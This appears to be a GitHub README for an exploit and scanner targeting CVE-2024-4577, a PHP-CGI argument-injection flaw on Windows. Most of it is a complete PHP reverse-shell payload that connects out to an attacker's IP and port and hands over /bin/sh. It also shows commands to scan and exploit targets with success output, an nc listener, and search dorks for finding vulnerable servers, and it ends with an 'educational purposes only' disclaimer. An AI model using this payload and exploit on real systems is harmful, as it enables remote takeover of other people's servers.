
ATTACK PoC - PHP CVE-2024-4577
In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, when using Apache and PHP-CGI on Windows, if the system is set to use certain code pages, Windows may use "Best Fit" behavior to replace characters in the command line supplied to Win32 API functions. The PHP CGI module may misinterpret those characters as PHP options, which could allow a malicious user to pass options to the running PHP binary and thereby disclose the source code of the script, execute arbitrary PHP code on the server, etc.
"XAMPP is vulnerable in default configuration and we can target the /php-cgi/php-cgi.exe endpoint. To target an explicit .php endpoint (e.g., /index.php), the server must be configured to run PHP scripts in CGI mode."
$ git clone https://github.com/bibo318/CVE-2024-4577-RCE-ATTACK.git
$ cd CVE-2024-4577-RCE-ATTACK && pip install -r requirements.txt

[!NOTE] This tool demonstrates tactics, techniques, and procedures (TTPs). However, this specific payload sample does not work in this case. Modify shell.php to obtain a fully functional payload.
# rev_shell.php
<?php
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = 'xxxxxxxxxxx'; // CHANGE THIS
$port = 9999; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
$ python3 CVE-2024-4577.py -s -t https://target.com/
,------. ,--. ,--.,------. ,-----.,--. ,--.,------. ,---. ,--. ,---. ,---. ,---.,-----.,-----.,-----. ,------. ,-----.,------.
| .--. '| '--' || .--. ' ' .--./ \ `.' / | .---',-----.'.-. \ / '.-. \ / |,-----. / || .--''--, /'--, / | .--. '' .--./| .---'
| '--' || .--. || '--' | | | \ / | `--, '-----' .-' .'| () |.-' .'/ ' |'-----'/ ' |'--. `\ .' / .' / | '--'.'| | | `--,
| | --' | | | || | --' ' '--'\ \ / | `---. / '-. \ // '-.'--| | '--| |.--' // / / / | |\ \ ' '--'\| `---.
`--' `--' `--'`--' `-----' `-' `------' '-----' `--' '-----' `--' `--'`----' `--' `--' `--' '--' `-----'`------'
Author: Demongod | CVE-2024-4577 | PoC and Scanner |
[+] Target https://xxxx.com is vulnerable to CVE-2024-4577
$ python3 CVE-2024-4577.py -t http://example.com -e -p rev_shell.php
,------. ,--. ,--.,------. ,-----.,--. ,--.,------. ,---. ,--. ,---. ,---. ,---.,-----.,-----.,-----. ,------. ,-----.,------.
| .--. '| '--' || .--. ' ' .--./ \ `.' / | .---',-----.'.-. \ / '.-. \ / |,-----. / || .--''--, /'--, / | .--. '' .--./| .---'
| '--' || .--. || '--' | | | \ / | `--, '-----' .-' .'| () |.-' .'/ ' |'-----'/ ' |'--. `\ .' / .' / | '--'.'| | | `--,
| | --' | | | || | --' ' '--'\ \ / | `---. / '-. \ // '-.'--| | '--| |.--' // / / / | |\ \ ' '--'\| `---.
`--' `--' `--'`--' `-----' `-' `------' '-----' `--' '-----' `--' `--'`----' `--' `--' `--' '--' `-----'`------'
Author: Demongod | CVE-2024-4577 | PoC and Scanner |
[+] Exploit successful!
$ nc -lvnp 9999
server: PHP 8.1, server: PHP 8.2, server: PHP 8.3protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"This tool is provided for educational and research purposes only. The creator is not responsible for any misuse or damage caused by this tool. Create issue